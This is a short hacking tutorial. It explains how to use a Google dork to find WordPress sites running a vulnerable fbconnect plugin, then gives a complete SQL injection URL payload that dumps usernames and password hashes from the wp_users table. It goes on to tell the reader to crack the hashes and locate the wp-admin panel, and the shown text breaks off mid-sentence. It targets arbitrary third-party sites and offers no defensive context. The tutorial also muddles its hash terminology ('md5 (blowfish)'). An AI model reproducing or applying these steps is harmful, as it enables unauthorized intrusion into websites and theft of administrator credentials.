Open Google.com and enter This Dork

inurl:"fbconnect_action=myhome"

You will find many sites, Select the site which you are comfortable with.

The website Url will be Like this http://www.site.com/?fbconnect_action=myhome&userid=

Now replace the ?fbconnect_action=myhome&userid= with

?fbconnect_action=myhome&userid=

with this

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--

Now The URL will be Like this ..

www.site.com/?fbconnect_action=myhome&userid=

with this

[www.site.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat\(user_login,0x3a,user_pass\)z0mbyak,7,8,9,10,11,12+from+wp_users--](http://www.site.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--)

Now you have the User name and Password

he password is encrypted with Wordpress md5 (blowfish). You need to decode this. Download And Run This Software to decode this type of password

Then find the administrator panel out. Normally it should be in

www.victrimsite.com/wp-admin

or
